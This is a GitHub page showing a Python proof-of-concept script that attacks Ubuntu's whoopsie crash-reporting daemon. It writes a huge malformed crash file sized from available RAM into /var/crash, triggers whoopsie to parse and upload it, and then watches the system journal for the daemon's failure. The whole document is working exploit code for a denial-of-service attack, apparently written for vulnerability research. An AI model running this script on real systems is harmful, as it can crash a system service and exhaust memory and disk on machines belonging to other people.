sungjungk / whoopsie_killer2 Public

Code Issues Pull requests Actions Projects Security Insights

master

whoopsie_killer2 / whoopsie_killer2.py / Jump to

sungjungk Update README.md History

1 contributor

Executable File | 102 lines (78 sloc) | 2.44 KB

```
#!/usr/bin/python3

import os,sys,math,time
import argparse
import select
from pathlib import Path
from systemd import journal

def usable_ram():
    data = {}
    old_keys = set()

    with open('/proc/meminfo', 'r') as f:
        for line in f:
            (key, value) = line.split(":", 2)
            value = value.strip()
            data[key] = value
            old_keys = set(data.keys())

    memfree = int(data['MemFree'].split()[0])
    cached = int(data['Cached'].split()[0])
    writeback = int(data['Writeback'].split()[0])

    return (memfree + cached - writeback) * 1024

def report_gen(balance):
    print('Create a malformed crash file... (in /var/crash/fake.crash)')

    memory = usable_ram()
    contents = 'A' * int(memory/balance)
    count = balance + 1

    with open('/var/crash/fake.crash', 'w') as f:
        for i in range (count):
            f.write(contents)

    os.sync()

def progress_gen(message):
    i = 0
    while True:
        for x in range(0, 4):
            dots = "." * x
            sys.stdout.write("{}\r".format(message + dots))
            i += 1
            time.sleep(0.5)
        sys.stdout.write("\033[K")
        yield

def journal_log():
    j = journal.Reader()
    j.log_level(journal.LOG_INFO)

    j.seek_tail()
    j.get_previous()

    p = select.poll()
    p.register(j, j.get_events())

    x = progress_gen('Waiting')
    while p.poll():
        if j.process() != journal.APPEND:
            continue

        for entry in j:
            try:
                if entry['MESSAGE'] != "" and str(entry['_COMM']) == 'whoopsie':
                    print(entry['MESSAGE'])
            except:
                print('whoopsie fails to trap exception during parsing')
                print('=> ' + entry['MESSAGE'])
                return
        next(x)

def main():
    try:
        Path('/var/crash/fake.crash').unlink()
        Path('/var/crash/fake.upload').unlink()
```

```python
        Path('/var/crash/fake.uploaded').unlink()
    except:
        pass

    parser = argparse.ArgumentParser()
    parser.add_argument('--balance', default='5', type=int)
    balance = parser.parse_args().balance

    # Create a malicious crash file to trap exception on whoopsie daemon
    report_gen(balance)

    # Start the process; parsing -> uploading -> ...
    Path('/var/crash/fake.upload').touch()

    # Wait until that happens
    journal_log()

    # Stop the process
    Path('/var/crash/fake.upload').unlink()


if __name__ == '__main__':
    main()
```